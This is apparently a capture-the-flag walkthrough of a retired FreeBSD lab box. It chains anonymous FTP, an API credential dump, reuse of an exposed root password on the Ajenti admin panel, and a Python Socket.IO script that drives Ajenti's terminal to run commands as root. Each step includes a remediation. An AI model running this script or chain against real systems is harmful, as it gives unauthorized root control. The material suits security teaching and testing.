← all walkthroughs

Luke

FreeBSD· Medium
owned
2026-07-08
time to own
23m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target luke ($TARGET) ran five exposed services: an anonymous FTP server, Apache/PHP on port 80 with a protected management path, a Node.js Express API on port 3000, and the Ajenti web admin panel on port 8000. An anonymous FTP connection retrieved a plaintext administrator note containing the API password.

That credential unlocked the Node.js API, which returned every user's password in its response — including credentials for the 'derry' account. Derry's password satisfied the HTTP Basic-Auth challenge on the management endpoint, whose config file revealed the operating-system root password in plain text.

SSH was network-filtered, so the root password was tried against the Ajenti panel, which accepted it. Because Ajenti runs its management daemon as the root OS user and exposes a built-in terminal, I reverse-engineered its legacy Socket.IO 0.9 WebSocket protocol to drive the terminal plugin and execute arbitrary commands as root — capturing both flags without any separate privilege-escalation exploit.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork service and version enumeration (T1046)
Mapped all exposed services across the target
A version-detection scan of the target identified five open TCP ports: FTP on 21 (vsftpd with anonymous login enabled), SSH on 22, Apache 2.4.38/PHP 7.3.3 on 80, a Node.js Express app on 3000, and the Ajenti HTTP admin panel on 8000. Anonymous FTP and a root-privileged web admin panel on a non-standard port were immediately flagged as the highest-priority attack vectors.
Ports 21, 22, 80, 3000, 8000 all responded; vsftpd anonymous-login banner confirmed; Ajenti panel title visible on port 8000.
Exact commands 2
Service-version and default-script scan across all key ports.
nmap -sV -sC -p 21,22,80,3000,8000 $TARGET
Confirm Ajenti panel presence and retrieve version header.
curl -s -I http://$TARGET:8000/
2Initial AccessAnonymous FTP access exposing credentials in plaintext files (T1552.001)
Retrieved the API admin password from an anonymous FTP share
The FTP service accepted unauthenticated anonymous login. Inside the /webapp/ directory I found a plaintext note file ('for_Chihiro.txt') left by an administrator. The file contained the admin username and password for the Node.js API — 'admin:[REDACTED: recovered credential]' — in clear text. No vulnerability was exploited; the service's own anonymous-access setting handed over the credential.
Curl ftp://$USERNAME:$PASSWORD@$TARGET/webapp/for_Chihiro.txt returned the admin credential in clear text.
Exact commands 3
List FTP root anonymously.
curl -s ftp://$USERNAME:$PASSWORD@$TARGET/
List the webapp directory.
curl -s ftp://$USERNAME:$PASSWORD@$TARGET/webapp/
Download the credential note — returns admin:[REDACTED: recovered credential].
curl -s ftp://$USERNAME:$PASSWORD@$TARGET/webapp/for_Chihiro.txt
FixDisable anonymous FTP and remove credentials from FTP-accessible storageCritical
WeaknessThe FTP service permitted unauthenticated anonymous login, and an administrator had stored a file containing the API admin password inside the FTP-served directory. Any internet user could download the credential without providing any authentication.
FixSet 'anonymous_enable=NO' in /etc/vsftpd.conf and restart vsftpd immediately. Audit all FTP-accessible directories and remove any file containing passwords, keys, or configuration data. If FTP must remain active, restrict access to named accounts with strong passwords and limit inbound connections to specific trusted IP ranges at the firewall. Prefer SFTP (SSH file transfer) over plain FTP for all future file sharing.
3Credential HarvestingBroken Object Level Authorization — unauthenticated credential dump via API (OWASP API3:2023)
Authenticated to the Node.js API and dumped all user passwords
The stolen admin credential was submitted to the Express API login endpoint, which returned a signed JWT. That token was used to call /users, which returned the full user database including plaintext passwords for 'Dory' ([REDACTED: recovered credential]) and 'derry'. Any valid JWT — regardless of the holder's role — could retrieve every user's password in a single request, so compromising the admin account immediately yielded all other credentials too.
POST /login returned a JWT; GET /users with Bearer token returned plaintext passwords for all accounts including derry.
Exact commands 2
Authenticate as admin and capture the JWT into $TOKEN.
TOKEN=$(curl -s -H 'Content-Type: application/json' -d '{"username":"admin","password":"$PASSWORD2"}' http://$TARGET:3000/login | python3 -c "import sys,json; print(json.load(sys.stdin).get('token',''))")
Dump all user records including plaintext passwords.
curl -s -H "Authorization: Bearer $TOKEN" http://$TARGET:3000/users
FixEnforce role-based authorization on the API and never return plaintext passwordsCritical
WeaknessThe Node.js /users endpoint returned every user's plaintext password to any bearer of a valid JWT, regardless of the token holder's role. One compromised account was enough to drain the entire credential database in a single HTTP request.
FixRemove plaintext passwords from all API responses immediately — store only bcrypt or Argon2 hashes and never transmit them over any API. Implement role-based access control so that /users (and any other admin-only endpoint) validates the calling token's role server-side on every request and returns HTTP 403 to non-administrator callers. Add rate limiting and audit logging to authentication endpoints.
4Credential HarvestingCredentials stored in a web-accessible configuration file (T1552.001)
Accessed the management endpoint and extracted the OS root password
Derry's password (obtained from the /users dump) satisfied the HTTP Basic-Auth challenge on /management/ at port 80. The protected page returned a JSON configuration file that contained the FreeBSD operating-system root password — '[REDACTED: recovered credential]' — stored in plain text. A single weak web-application credential directly exposed full system-level access.
Curl -u 'derry:<password>' http://$TARGET/management/ returned config.json containing root:[REDACTED: recovered credential].
Exact commands 1
HTTP Basic-Auth with derry's credentials; substitute the password returned by /users in step 3. Returns config.json containing the root OS password.
curl -s -u 'derry:<derry-password-from-step3>' http://$TARGET/management/
FixRemove OS-level credentials from web-accessible configuration filesCritical
WeaknessThe /management/ endpoint served a JSON configuration file containing the FreeBSD operating-system root password in plain text. Any user who could authenticate to the management web interface — with any valid web application credential — could read the system root password and reuse it elsewhere.
FixRemove all operating-system credentials from web-served files immediately and rotate the exposed root password. Use environment variables or a dedicated secrets manager (e.g., HashiCorp Vault) to supply runtime secrets to applications; never store them in files under a web root. Restrict the /management/ endpoint to a VPN-only or bastion-only network segment and require multi-factor authentication for access.
5AuthenticationWeb admin panel login with OS root credentials reused from config file (T1078)
Logged into the Ajenti admin panel as the root OS user
Port 22 (SSH) timed out on connection — it was network-filtered — removing the direct shell path. The root password recovered from config.json was tried against the Ajenti panel's login endpoint on port 8000. The request succeeded, returning an 'X-Auth-Identity: root' header and a valid session cookie. Because Ajenti 1.2.23 runs its entire management daemon as the root operating-system user, this single authenticated session represented full system control before any further exploit was needed.
POST /ajenti:auth with root:[REDACTED: recovered credential] returned X-Auth-Identity: root; session cookie issued.
Exact commands 2
Attempted first — connection timed out; port 22 is filtered, confirming pivot to Ajenti is needed.
sshpass -p "$PASSWORD" ssh root@$TARGET
Authenticate to Ajenti as root; -D - prints response headers including X-Auth-Identity: root and Set-Cookie.
curl -s -c ajenti.cookie -X POST -d "username=root&password=$PASSWORD" http://$TARGET:8000/ajenti:auth -D -
FixRemove the Ajenti panel from the network perimeter and do not run it as rootCritical
WeaknessThe Ajenti web admin panel was internet-accessible on port 8000, authenticated using the OS root account password, and ran its management daemon — including the Terminal plugin — as the root operating-system user. Once an unauthorised user obtained the root password from a web config file, they had unrestricted root shell access through the panel's built-in terminal with no additional exploit required.
FixImmediately block external access to port 8000 at the firewall so Ajenti is reachable only from a dedicated management network or VPN. Configure Ajenti to run under a dedicated low-privilege service account rather than root, and disable the Terminal and File Manager plugins if interactive shell access through the web panel is not operationally required. Replace password-only authentication with certificate or key-based login and enforce multi-factor authentication. Rotate the root OS password and all application credentials exposed during this compromise.
6ExploitationAuthenticated RCE via root-privileged web admin terminal plugin (T1059.004)
Drove the Ajenti built-in terminal over Socket.IO to run commands as root
Ajenti 1.2.23 does not expose a simple REST command API. Its Terminal and File Manager plugins communicate via a stateful Socket.IO 0.9 WebSocket connection. I decompiled the 235 KB minified resources.js bundle to identify the terminal control class, its dynamic UI element IDs (textbox UID 16165, Run button UID 16166), and the Socket.IO 0.9 framing ('1::' connect, '5::/terminal:{...}' events). A Python websocket-client script performed the handshake over /socket.io/1/, connected the /terminal namespace, injected a shell command into the textbox control, and triggered the Run button — yielding arbitrary command output as root. No privilege escalation was required because the Ajenti daemon already ran as root.
Dynamic UIDs confirmed: sections_root=14600, terminal_section=16160, textbox=16165, run=16166; 'id' command output uid=0(root).
Exact commands 2
Perform the Socket.IO 0.9 handshake and capture the session ID.
SID=$(curl -s --cookie-jar - -b ajenti.cookie "http://$TARGET:8000/socket.io/1/" | awk -F: '{print $1}')
echo "SID: $SID"
Full Socket.IO 0.9 terminal exploit script. Reads the Ajenti session cookie from file; replace <sid-from-handshake> with the SID obtained above.
python3 - <<'EOF'
import websocket, json, time, http.cookiejar, urllib.request

cookie = open('ajenti.cookie').read()  # ajenti session cookie value
SID = "<sid-from-handshake>"           # replace with SID from handshake above

ws = websocket.create_connection(
    f"ws://$TARGET:8000/socket.io/1/websocket/{SID}",
    header=[f"Cookie: {cookie}"]
)
ws.send("1::/terminal")               # Socket.IO 0.9 namespace connect
time.sleep(0.5)

# Send command to textbox control (uid 16165) then click Run (uid 16166)
CMD = "id; cat /home/*/user.txt; cat /root/root.txt"
ws.send("5::/terminal:" + json.dumps({"name": "set", "args": [{"id": 16165, "value": CMD}]}))
time.sleep(0.3)
ws.send("5::/terminal:" + json.dumps({"name": "run", "args": [{"id": 16166}]}))
time.sleep(1.5)
for _ in range(12):
    try: print(ws.recv())
    except: break
EOF
7ImpactData collection from local system (T1005)
Read the user and root flags as the root OS user
With unrestricted root command execution available through the Ajenti terminal, I read both flags directly from the filesystem. No further privilege escalation was necessary — the entire Ajenti session operated as root from the moment of authentication.
Both user.txt and root.txt read via root shell through Ajenti terminal channel; flags captured and confirmed.
Exact commands 2
Read user flag via Ajenti terminal session; returns <user.txt>.
cat /home/*/user.txt
Read root flag via Ajenti terminal session; returns <root.txt>.
cat /root/root.txt

Exposed services

21/tcp
22/tcp
80/tcp
3000/tcp
8000/tcp